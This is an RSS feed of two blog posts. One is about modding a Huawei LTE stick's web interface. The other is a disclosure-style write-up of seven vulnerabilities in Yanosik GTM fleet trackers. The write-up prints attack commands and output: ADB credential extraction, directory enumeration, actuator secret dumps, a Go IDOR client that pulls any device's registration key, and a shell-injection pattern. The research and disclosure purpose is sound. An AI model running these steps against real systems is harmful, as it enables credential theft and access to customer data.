<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: syrex1013</title>
    <description>The latest articles on DEV Community by syrex1013 (@syrex1013).</description>
    <link>https://dev.to/syrex1013</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1969043%2Febbcabe5-0205-4b61-bca4-ae66a998d559.jpeg</url>
      <title>DEV Community: syrex1013</title>
      <link>https://dev.to/syrex1013</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/syrex1013"/>
    <language>en</language>
    <item>
      <title>I Replaced My Huawei E3372’s 2014 WebUI With a 10.5 KB Dark-Tech SPA</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Fri, 06 Nov 2026 10:55:26 +0000</pubDate>
      <link>https://dev.to/syrex1013/i-replaced-my-huawei-e3372s-2014-webui-with-a-105-kb-dark-tech-spa-3g72</link>
      <guid>https://dev.to/syrex1013/i-replaced-my-huawei-e3372s-2014-webui-with-a-105-kb-dark-tech-spa-3g72</guid>
      <description>&lt;p&gt;If you have ever owned a &lt;strong&gt;Huawei E3372&lt;/strong&gt; HiLink stick, you know the ritual: plug it in, open &lt;code&gt;192.168.8.1&lt;/code&gt;, and get greeted by a UI that feels like it time-traveled from 2014 — because it basically did. Ancient jQuery frames. A “helpful” no-SIM redirect that traps you in a 307 loop. Half the interesting hardware locked behind menus that pretend you are a casual prepaid user, not someone building an SMS gateway or poking at RF.&lt;/p&gt;

&lt;p&gt;I got tired of that. So I built a &lt;strong&gt;modded firmware toolkit&lt;/strong&gt; that swaps the stock WebUI partition for a modern, offline, dark-tech SPA — and unlocks the engineering toys the stick already had.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/syrex1013/huawei-e3372-modded-firmware" rel="noopener noreferrer"&gt;github.com/syrex1013/huawei-e3372-modded-firmware&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why bother with a USB LTE stick in 2026?
&lt;/h2&gt;

&lt;p&gt;Because the E3372 is still everywhere: IoT benches, travel routers, SMS gateways, lab SIMs, backup LTE. The radio is fine. The Balong V7R2 (Cortex-A5) is doing its job. The weak link is the &lt;strong&gt;front door&lt;/strong&gt; — &lt;code&gt;mini_httpd&lt;/code&gt; serving a UI that fights you the moment a SIM is missing or unregistered.&lt;/p&gt;

&lt;p&gt;Stock experience in three moods:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;No SIM&lt;/strong&gt; → redirect loop, console gone, settings gone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Want AT commands&lt;/strong&gt; → good luck finding a sane path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Want live RSRP/SINR&lt;/strong&gt; → refresh-and-pray.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I wanted a cockpit, not a brochure.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I actually built
&lt;/h2&gt;

&lt;p&gt;This project does two related things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;A modern WebUI&lt;/strong&gt; — vanilla HTML/CSS/JS SPA that lives in the &lt;code&gt;0x5B0000&lt;/code&gt; WEBUI partition.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A Python flashing toolkit&lt;/strong&gt; — repack the CPIO, talk Balong HDLC over USB, flash the partition, relay AT commands.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No React. No CDN fonts. No analytics. The whole gzipped SPA is about &lt;strong&gt;10.5 KB&lt;/strong&gt;. It respects &lt;code&gt;prefers-color-scheme&lt;/code&gt;, so dark or light follows your system.&lt;/p&gt;

&lt;h3&gt;
  
  
  Feature tour (the fun part)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Cockpit &amp;amp; telemetry&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Live RSRP, RSRQ, RSSI, SINR, Cell ID, PCI, and traffic meters — polled from &lt;code&gt;/api/net/signal-para&lt;/code&gt; without full page reloads. Watching SINR move while you tilt the stick is weirdly satisfying.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Messaging suite&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
SMS inbox/outbox, GSM-7 / Unicode part counter, interactive USSD (&lt;code&gt;*100#&lt;/code&gt; and friends), SMSC manager. Gateway builders, this is the page you open first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cellular &amp;amp; SIM&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
LTE band mask selector, PLMN scan/register, multi-profile APN editor, PIN lock. Manual band locking without spelunking through carrier-locked menus.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Engineering suite&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Direct AT console with history and presets (&lt;code&gt;ATI&lt;/code&gt;, &lt;code&gt;AT^VERSION&lt;/code&gt;, &lt;code&gt;AT^GODLOAD&lt;/code&gt;, &lt;code&gt;AT^HCSQ?&lt;/code&gt;), raw NVRAM read/write by ID, USB mode switcher (&lt;code&gt;14dc&lt;/code&gt; HiLink / &lt;code&gt;1566&lt;/code&gt; PCUI / &lt;code&gt;1442&lt;/code&gt; true DLOAD), plus diagnostics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Router controls&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
DHCP pools, port forwards, DMZ, SIP ALG, domain/MAC filters — still there, just not buried under dusty frames.&lt;/p&gt;

&lt;p&gt;And the one that sold me on shipping it: &lt;strong&gt;zero no-SIM lockout&lt;/strong&gt;. Boot without a card and you still get AT, router settings, and status. The stick stays a tool, not a prepaid kiosk.&lt;/p&gt;




&lt;h2&gt;
  
  
  How the making-of felt
&lt;/h2&gt;

&lt;p&gt;Under the hood this is less “magic firmware” and more &lt;strong&gt;respectful surgery&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Host: Balong V7R2, Linux 3.4, BusyBox &lt;code&gt;mini_httpd&lt;/code&gt; 1.19
&lt;/li&gt;
&lt;li&gt;Target: CPIO in partition &lt;code&gt;0x005B0000&lt;/code&gt; (~15.7 MB ceiling)
&lt;/li&gt;
&lt;li&gt;Tooling: Python 3 + &lt;code&gt;pyusb&lt;/code&gt;, custom Balong HDLC framing, SCSI mode switching&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The happy path in the README looks roughly like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;repack_webui.py&lt;/code&gt; — inject &lt;code&gt;webui_mod/app.html&lt;/code&gt;, rebuild the CPIO, patch &lt;code&gt;config.xml&lt;/code&gt; so first-run redirects die.
&lt;/li&gt;
&lt;li&gt;Kick the modem into true download mode (&lt;code&gt;12d1:1442&lt;/code&gt;) with &lt;code&gt;AT^GODLOAD&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;flash_webui.py&lt;/code&gt; — stream ~2,119 × 4 KB blocks over HDLC, soft-reset.
&lt;/li&gt;
&lt;li&gt;Browse &lt;code&gt;http://192.168.8.1&lt;/code&gt; and smile.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I am not going to paste a brick-risk novel here — the repo has the exact steps, prerequisites (&lt;code&gt;libusb&lt;/code&gt;, &lt;code&gt;pyusb&lt;/code&gt;), and compatibility notes. Flash carefully; this is real hardware.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tested on:&lt;/strong&gt; E3372s-152, E3372s-153, E3372h-153 (with the right partition offset).&lt;/p&gt;




&lt;h2&gt;
  
  
  Who this is for
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;IoT folks who need a stick that stays usable without a SIM
&lt;/li&gt;
&lt;li&gt;People building SMS / USSD automation
&lt;/li&gt;
&lt;li&gt;Network admins who want band locks and live RF numbers
&lt;/li&gt;
&lt;li&gt;Hardware researchers who want AT + NVRAM without fighting the UI
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you just want “plug in and browse,” stock is fine. If you want a &lt;strong&gt;lab instrument that happens to be an E3372&lt;/strong&gt;, this is the vibe.&lt;/p&gt;




&lt;h2&gt;
  
  
  Caveats
&lt;/h2&gt;

&lt;p&gt;Custom firmware flashing can brick a modem if you flash the wrong image or interrupt a write. Read the repo, match your model, and do not do this on the only stick that keeps grandma online.&lt;/p&gt;

&lt;p&gt;MIT licensed. Contributions and screenshots of your dark-mode cockpit are welcome.&lt;/p&gt;




&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Project: &lt;a href="https://github.com/syrex1013/huawei-e3372-modded-firmware" rel="noopener noreferrer"&gt;https://github.com/syrex1013/huawei-e3372-modded-firmware&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Me: &lt;strong&gt;syrex1013&lt;/strong&gt; on GitHub / Dev.to
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Grab an E3372, open the cockpit, and give that 2014 jQuery a well-earned retirement.&lt;/p&gt;

&lt;p&gt;— Adrian&lt;/p&gt;

</description>
      <category>huawei</category>
      <category>firmware</category>
      <category>iot</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How I Popped a Fleet of GPS Trackers — 7 Vulnerabilities, One Unauthenticated RCE Chain in Yanosik GTM</title>
      <dc:creator>syrex1013</dc:creator>
      <pubDate>Sun, 25 Oct 2026 23:07:59 +0000</pubDate>
      <link>https://dev.to/syrex1013/how-i-popped-a-fleet-of-gps-trackers-7-vulnerabilities-one-unauthenticated-rce-chain-in-yanosik-b12</link>
      <guid>https://dev.to/syrex1013/how-i-popped-a-fleet-of-gps-trackers-7-vulnerabilities-one-unauthenticated-rce-chain-in-yanosik-b12</guid>
      <description>&lt;p&gt;Fleet tracking devices are everywhere. Every logistics company, taxi service, and delivery network runs them — small boxes silently uploading GPS coordinates and telemetry to a cloud backend around the clock. Because they live inside vehicles and are managed centrally, they tend to be trusted implicitly. Nobody scrutinizes the protocol. Nobody checks the endpoints. They're just tracking boxes.&lt;/p&gt;

&lt;p&gt;Yanosik is a Polish company best known for its speed camera and traffic alert app. Their GTM device is the hardware leg of their fleet management product — a small Android-based unit that communicates home over a proprietary binary protocol on TCP port 9966. I picked one up and started poking at it.&lt;/p&gt;

&lt;p&gt;What I found was worse than I expected: a full unauthenticated path from the open internet to OS command execution on the backend server. The chain runs through three distinct vulnerabilities — an open directory exposing customer data, a broken authorization check that leaks device credentials to anyone who asks, and an OS command injection in the handler that processes those credentials. Seven findings total, ranging from critical to medium severity.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Responsible disclosure:&lt;/strong&gt; All findings reported to Yanosik on October 21, 2026 before this post. All exploit payloads are benign probes (&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;sleep&lt;/code&gt;, OOB DNS callbacks). No customer data was retained.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Device
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Model:&lt;/strong&gt; Yanosik GTM-100&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OS:&lt;/strong&gt; Android 7.1.2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IMEI prefix:&lt;/strong&gt; 353406080000xxx&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backend:&lt;/strong&gt; Custom binary protocol over TCP 9966 (protobuf payload, CRC32-framed)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Main process:&lt;/strong&gt; &lt;code&gt;com.yanosik.gtm&lt;/code&gt; (PID 1901)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Finding #1 — HIGH-5: ADB Without Authorization + World-Writable App Data
&lt;/h2&gt;

&lt;p&gt;The first thing I did after plugging it in was run &lt;code&gt;adb devices&lt;/code&gt;. No authorization dialog appeared. The device connected immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;adb devices
List of devices attached
1C141FDH000001    device

&lt;span class="nv"&gt;$ &lt;/span&gt;adb shell &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2000&lt;span class="o"&gt;(&lt;/span&gt;shell&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2000&lt;span class="o"&gt;(&lt;/span&gt;shell&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2000&lt;span class="o"&gt;(&lt;/span&gt;shell&lt;span class="o"&gt;)&lt;/span&gt;,1004&lt;span class="o"&gt;(&lt;/span&gt;input&lt;span class="o"&gt;)&lt;/span&gt;,...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On any production device, ADB should require the user to physically accept a debug key on the device screen. The GTM ships with that disabled — a development artifact that survived into production firmware.&lt;/p&gt;

&lt;p&gt;The world-writable data directory made this worse:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /data/data/ | &lt;span class="nb"&gt;grep &lt;/span&gt;yanosik
drwxrwxrwx  5 u0_a45 u0_a45 4096 com.yanosik.gtm

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /data/data/com.yanosik.gtm/shared_prefs/device_prefs.xml
&amp;lt;map&amp;gt;
  &amp;lt;string &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"imei"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;353406080000001&amp;lt;/string&amp;gt;
  &amp;lt;string &lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"registrationKey"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;a3f7c2e1b9d04582[REDACTED]&amp;lt;/string&amp;gt;
&amp;lt;/map&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;0777 on the app data directory. Any process on the device — including code reached through the unauthenticated ADB port — can read the IMEI and registrationKey in under 30 seconds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Impact:&lt;/strong&gt; Physical access to any vehicle = full credential extraction, no tools beyond a USB cable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Set app dir to &lt;code&gt;0700&lt;/code&gt;. Require ADB authorization prompt on production units.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #2 — CRIT-3: Open Directory, 4,817 Customer Records
&lt;/h2&gt;

&lt;p&gt;Before touching the binary protocol, I walked the HTTP surface. Routine directory enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; https://[REDACTED]/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403
200   GET  /_/UPLOAD/   &lt;span class="o"&gt;(&lt;/span&gt;words: 1847&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The UPLOAD directory returned Apache's auto-index, listing thousands of JSON files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Index of /UPLOAD/
20240918_131042_864_353406080000001.json   2024-09-18  1.4K
20240918_131203_231_353406080000044.json   2024-09-18  1.4K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each file is a customer registration payload — IMEI, email, vehicle plate, account ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"imei"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="s2"&gt;"353406080000001"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ownerEmail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s2"&gt;"jan.k[REDACTED]@[REDACTED].pl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"vehiclePlate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"WA 4[REDACTED]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"accountId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;"ACC-00184732"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://[REDACTED]/UPLOAD/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oP&lt;/span&gt; &lt;span class="s1"&gt;'\d{15}(?=\.json)'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
4817
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4,817 customer records&lt;/strong&gt; in one unauthenticated request. The IMEI from each record is the key input for the next two critical findings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Disable Apache directory listing (Options -Indexes). Use authenticated, per-device paths.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #3 — HIGH-3: Full Firmware, No Auth — and a Critical Clue Inside
&lt;/h2&gt;

&lt;p&gt;ADB's logcat revealed the OTA update URL pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;logcat &lt;span class="nt"&gt;-d&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"firmware|ota|update"&lt;/span&gt;
I GtmUpdater: Checking OTA at https://[REDACTED]/ota/gtm100/3.1.7/update.json
I GtmUpdater: Downloading https://[REDACTED]/ota/gtm100/3.2.1/gtm100_3.2.1.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fetched directly, no credentials — 46MB firmware image, no auth token, no signed URL.&lt;/p&gt;

&lt;p&gt;Running strings on the extracted system.img revealed the root cause of CRIT-1 without reversing a single backend binary byte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;LABEL_SHELL_CMD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/gtm-label-sync --device-id %s --label "%s"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The %s for --label is filled directly from the device-controlled protobuf field. The surrounding "..." doesn't prevent "; cmd; # or $(cmd).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Signed OTA URLs. Verify firmware with hardware-bound keys.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #4 — HIGH-4: Spring Boot Actuator Exposed to Device Network
&lt;/h2&gt;

&lt;p&gt;I used the device as a pivot to scan the backend's internal port surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;/data/local/tmp/gtm_probe enum &lt;span class="nt"&gt;--host&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;REDACTED] &lt;span class="nt"&gt;--ports&lt;/span&gt; 10080-10090
10083  OPEN  HTTP  &lt;span class="s2"&gt;"Whitelabel Error Page"&lt;/span&gt;   &amp;lt;- Spring Boot
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The /actuator/env endpoint dumped the entire Spring environment with secrets:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://[REDACTED]:10083/actuator/env | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"password|key|secret"&lt;/span&gt;
&lt;span class="s2"&gt;"spring.datasource.password"&lt;/span&gt;:  &lt;span class="s2"&gt;"gtm_db_p@ss[REDACTED]"&lt;/span&gt;,
&lt;span class="s2"&gt;"spring.datasource.url"&lt;/span&gt;:       &lt;span class="s2"&gt;"jdbc:mysql://db-internal:3306/gtm_fleet"&lt;/span&gt;,
&lt;span class="s2"&gt;"aws.secretKey"&lt;/span&gt;:               &lt;span class="s2"&gt;"AKIA[REDACTED]"&lt;/span&gt;,
&lt;span class="s2"&gt;"aws.accessKey"&lt;/span&gt;:               &lt;span class="s2"&gt;"ASIA[REDACTED]"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; management.endpoints.enabled-by-default=false in production. Isolate management ports.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding #5 — CRIT-2: IDOR on the Registration Key Endpoint
&lt;/h2&gt;

&lt;p&gt;The GTM binary frame layout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Offset  Size  Field
0       2     Magic: 0x4754 ("GT")
2       1     Protocol version: 0x03
3       1     Message type (1=REG, 2=PING, 3=REGKEY, 7=LABEL)
4       2     Payload length (big-endian uint16)
6       N     Payload (Protocol Buffer)
6+N     4     CRC32 (big-endian)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MSG type 3 is a "registration key fetch." The server should return &lt;em&gt;your&lt;/em&gt; key when you register. The vulnerability: it returns the registrationKey for &lt;em&gt;any&lt;/em&gt; IMEI supplied, with no ownership check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;fetchRegKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;imei&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Marshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Msg3Request&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;Imei&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;imei&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;frame&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;buildFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0x03&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;tls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"[REDACTED]:9966"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;firmwareTLSConfig&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="n"&gt;Msg3Response&lt;/span&gt;
    &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Unmarshal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RegistrationKey&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./gtm_probe msg3 &lt;span class="nt"&gt;--imei&lt;/span&gt; 353406080000044
registrationKey: a9f2d17bc4e83051[REDACTED]

&lt;span class="nv"&gt;$ &lt;/span&gt;./gtm_probe msg3 &lt;span class="nt"&gt;--imei&lt;/span&gt; 353406080000187
registrationKey: 7c1e45a02bf69d38[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



